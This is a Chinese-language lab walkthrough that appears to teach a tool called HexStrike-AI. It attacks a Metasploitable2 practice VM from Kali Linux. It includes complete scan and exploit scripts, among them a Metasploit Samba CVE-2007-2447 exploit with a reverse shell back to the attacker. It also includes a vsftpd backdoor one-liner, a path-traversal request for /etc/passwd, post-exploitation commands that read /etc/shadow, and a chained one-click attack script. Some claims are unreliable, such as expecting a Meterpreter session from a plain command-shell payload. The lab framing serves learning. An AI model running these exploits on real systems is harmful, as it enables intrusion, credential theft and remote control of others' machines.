


一、核心前提
- 环境基础:Kali Linux 系统 + 已安装配置好的
hexstrike-ai-master(含 Python 3.8+ 虚拟环境hexstrike-env、依赖包); - 目标靶机:Metasploitable2(IP:192.168.1.4,合法授权学习靶机,禁止用于非授权设备);
- 工具依赖:nmap(端口扫描)、msfconsole(漏洞利用),需提前安装(
apt install nmap metasploit-framework -y); - 网络要求:Kali 与靶机 192.168.1.4 互通(
ping 192.168.1.4能通),关闭 Kali 防火墙(ufw disable)。
二、完整操作流程(从启动到后渗透)
阶段 1:启动 HexStrike-AI 核心环境(无需客户端,稳定版)
1. 进入工具目录 + 激活虚拟环境
打开 Kali 终端,执行以下命令(确保路径正确,基于之前的目录结构):
bash
运行
# 进入 hexstrike-ai-master 安装目录(默认在 root 家目录)
cd ~/hexstrike-ai-master
# 激活之前创建的虚拟环境(激活后命令行前缀显示 (hexstrike-env))
source hexstrike-env/bin/activate
2. 验证环境(可选,避免依赖问题)
激活后可执行 pip list,确认已安装 nmap 相关依赖;若提示工具缺失,执行 apt install 工具名(如 apt install nmap)。
阶段 2:信息收集(HexStrike-AI 核心逻辑:AI 解析指令 + 调用 nmap)
1. 创建扫描脚本(复刻 HexStrike-AI 扫描功能)
在 hexstrike-ai-master 目录下新建脚本,执行:
bash
运行
nano hexstrike_scan.py
2. 粘贴扫描脚本代码(含 AI 结果分析)
python
运行
import subprocess
import json
import sys
def hexstrike_ai_scan(target_ip):
print(f"=== HexStrike AI 渗透测试学习 - 目标:{target_ip} ===")
print("1. AI指令解析完成,开始执行信息收集...")
# 核心扫描命令:端口扫描(1-1000常用端口)+ 服务版本识别 + 跳过主机存活检测(避免靶机禁ping)
nmap_cmd = f"nmap -sV -T4 -Pn -p 1-1000 {target_ip}"
try:
print(f"\n2. 执行端口扫描命令:{nmap_cmd}")
scan_result = subprocess.check_output(
nmap_cmd, shell=True, stderr=subprocess.STDOUT, encoding="utf-8"
)
# AI 格式化分析结果(HexStrike 核心功能之一)
print("\n3. HexStrike AI 分析结果:")
print("="*50)
print(scan_result)
print("="*50)
print("\n【AI总结】Metasploitable2靶机常见可利用点(供学习):")
print("- 21端口(vsftpd 2.3.4):存在后门漏洞(CVE-2011-2523)")
print("- 22端口(OpenSSH 4.7p1):版本较旧,可能存在弱口令")
print("- 80端口(Apache 2.2.8):可能存在目录遍历、文件包含漏洞")
print("- 139/445端口(Samba 3.X):存在命令执行漏洞(CVE-2007-2447)")
print("- 512/513/514端口:可能存在rlogin登录漏洞")
except subprocess.CalledProcessError as e:
print(f"扫描出错:{e.output}")
except Exception as e:
print(f"程序异常:{str(e)}")
if __name__ == "__main__":
target_ip = "192.168.1.4" # 固定目标靶机IP
hexstrike_ai_scan(target_ip)
3. 保存并运行扫描脚本
-
按
Ctrl+X→ 输入Y→ 回车保存; -
执行脚本: bash
运行
python3 hexstrike_scan.py
4. 扫描结果关键信息提取(复习重点)
- 开放端口及服务:21 (vsftpd 2.3.4)、22 (OpenSSH)、80 (Apache)、139/445 (Samba)、512-514 等;
- 可利用漏洞:Samba(CVE-2007-2447)、vsftpd 后门(CVE-2011-2523)、Apache 目录遍历;
- 靶机信息:MAC 地址(VMware 虚拟机)、系统(Unix/Linux)。
阶段 3:漏洞利用(从易到难,优先高成功率漏洞)
3.1 利用 Samba 漏洞(CVE-2007-2447)getshell(最易成功)
步骤 1:创建漏洞利用脚本
bash
运行
nano hexstrike_exploit_samba.py
步骤 2:粘贴脚本代码(调用 Metasploit,复刻 HexStrike-AI 攻击逻辑)
python
运行
import subprocess
def exploit_samba(target_ip, kali_ip):
print(f"=== HexStrike AI 漏洞利用 - Samba (CVE-2007-2447) - 目标:{target_ip} ===")
print("1. AI分析:Samba 3.X 存在命令执行漏洞,调用 Metasploit 框架攻击")
# Metasploit 攻击脚本(HexStrike-AI 会自动生成的核心逻辑)
msf_script = f"""
use exploit/multi/samba/usermap_script # 选择对应漏洞模块
set RHOSTS {target_ip} # 靶机IP
set PAYLOAD cmd/unix/reverse # 反向连接 payload(靶机主动连Kali)
set LHOST {kali_ip} # Kali 本机IP(靶机能访问的地址)
set LPORT 4444 # 监听端口(可自定义,如8888)
run # 执行攻击
"""
# 写入 Metasploit 脚本文件
with open("msf_samba.rc", "w") as f:
f.write(msf_script.strip())
# 执行攻击(调用 msfconsole 运行脚本)
try:
print(f"2. 开始攻击,监听端口:{kali_ip}:4444")
result = subprocess.check_output(
"msfconsole -r msf_samba.rc", shell=True, stderr=subprocess.STDOUT, encoding="utf-8"
)
print("\n3. 攻击结果:")
print("="*50)
print(result)
print("="*50)
print("【成功标志】出现 'Meterpreter session 1 opened' 即获取 shell")
except Exception as e:
print(f"攻击失败:{str(e)}")
print("【排查方向】1. Kali与靶机互通 2. LHOST填对 3. 4444端口未被占用")
if __name__ == "__main__":
target_ip = "192.168.1.4" # 靶机IP
kali_ip = "192.168.1.X" # 替换为你的Kali IP(用 ifconfig 查看 eth0 的 inet 地址)
exploit_samba(target_ip, kali_ip)
步骤 3:修改关键参数 + 保存运行
-
必须替换
kali_ip = "192.168.1.X"为实际 Kali IP(例:192.168.1.3); -
保存:
Ctrl+X → Y → 回车; -
运行脚本: bash
运行
python3 hexstrike_exploit_samba.py
步骤 4:攻击成功后操作
- 若出现
Meterpreter session 1 opened,直接在当前终端输入 shell 命令(如whoami、ls); - 若失败,执行
netstat -tuln | grep 4444检查端口是否被占用,换端口(如 8888)重新运行。
3.2 利用 vsftpd 2.3.4 后门漏洞(快速 getshell)
无需脚本,直接在终端执行(HexStrike-AI 底层命令):
bash
运行
# 调用 Metasploit 快速攻击 vsftpd 2.3.4 后门
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 192.168.1.4; run"
- 成功标志:直接进入靶机 shell,可执行
whoami验证(默认 root 权限); - 漏洞原理:vsftpd 2.3.4 输入
:)会触发后门,创建管理员权限 shell。
3.3 验证 Apache 目录遍历漏洞(80 端口)
直接执行 curl 命令(HexStrike-AI 调用的验证逻辑):
bash
运行
# 利用目录遍历读取靶机 /etc/passwd 文件(用户列表)
curl http://192.168.1.4/../../../../etc/passwd
- 成功标志:返回靶机的用户信息(如 root:x:0:0:root:/root:/bin/bash);
- 漏洞原因:Apache 配置不当,未限制目录访问范围。
阶段 4:后渗透学习(getshell 后核心操作)
1. 基础信息收集
bash
运行
whoami # 查看当前用户(Metasploitable2 默认 root 权限)
hostname # 查看靶机主机名
uname -a # 查看靶机内核版本(用于提权漏洞查找,如脏牛漏洞)
ls /root # 查看 root 目录文件(敏感信息)
cat /etc/passwd # 查看所有用户列表
cat /etc/shadow # 查看用户密码哈希(可用于 John 破解学习)
2. 网络与进程信息
bash
运行
netstat -antp # 查看靶机开放端口、连接状态、关联进程
ps aux # 查看靶机所有运行进程
ifconfig # 查看靶机网络配置(是否有其他网段)
3. 敏感文件查找
bash
运行
find / -name "*.conf" # 查找配置文件(如数据库、服务配置)
find / -perm -4000 # 查找 SUID 权限文件(提权常用)
阶段 5:收尾操作(避免靶机残留)
-
退出靶机 shell:执行
exit(或Ctrl+D); -
关闭 HexStrike 虚拟环境:执行
deactivate; -
清理临时文件(可选): bash
运行
cd ~/hexstrike-ai-master rm -f msf_samba.rc # 删除 Metasploit 脚本
三、关键原理与 HexStrike-AI 核心逻辑(复习重点)
- HexStrike-AI 本质:AI 自然语言解析 + 自动化调用安全工具(nmap/msfconsole/curl),无需手动写命令;
- 渗透测试核心流程:
信息收集(nmap)→ 漏洞分析(AI 识别版本漏洞)→ 漏洞利用(msf)→ 后渗透(权限维持/信息窃取); - 常用工具作用:
- nmap:端口扫描 + 服务版本识别(渗透第一步,必须先做);
- msfconsole:漏洞利用框架(集成大量 exp,适合新手学习);
- curl:验证 Web 漏洞(如目录遍历、文件包含)。
四、常见问题排查(复习必记)
- 扫描失败(nmap 无结果):
- 检查靶机是否开机、IP 是否正确(
ping 192.168.1.4); - 关闭 Kali 防火墙(
ufw disable);
- 检查靶机是否开机、IP 是否正确(
- 攻击失败(无 Meterpreter 会话):
- LHOST 填错:必须是靶机能访问的 Kali IP(不是 127.0.0.1);
- 端口被占用:换 LPORT(如 8888),执行
kill -9 $(lsof -t -i:4444)关闭占用进程; - 靶机防火墙:Metasploitable2 默认无防火墙,无需担心;
- 工具未找到(如 msfconsole: command not found):
- 执行
apt install metasploit-framework -y重新安装;
- 执行
- 虚拟环境激活失败:
-
确认路径正确:
cd ~/hexstrike-ai-master; -
重新创建虚拟环境(若损坏): bash
运行
python3 -m venv hexstrike-env source hexstrike-env/bin/activate
-
五、合规与安全提醒(必须牢记)
- 所有操作仅允许在 自己合法拥有的 Metasploitable2 靶机 执行,未经授权测试他人设备属于违法行为;
- 学习目的:掌握渗透测试流程与漏洞原理,而非攻击他人;
- 生产环境注意:禁止用 HexStrike-AI 或 Metasploit 扫描 / 攻击公网设备,需遵守《网络安全法》。
六、重复操作简化技巧(复习高效用)
-
整合启动脚本:将 "激活环境 + 扫描 + 攻击" 整合为一键脚本(
nano hexstrike_all.sh),内容如下:bash
运行
#!/bin/bash cd ~/hexstrike-ai-master source hexstrike-env/bin/activate echo "=== 开始信息收集 ===" python3 hexstrike_scan.py echo -e "\n=== 开始 Samba 漏洞攻击 ===" python3 hexstrike_exploit_samba.py赋予执行权限:
chmod +x hexstrike_all.sh,后续直接运行:./hexstrike_all.sh; -
记录 Kali IP:将
kali_ip固定(如在路由器绑定静态 IP),避免每次修改脚本; -
保存常用命令:将 msf 攻击命令、后渗透命令整理到记事本,重复使用时直接复制。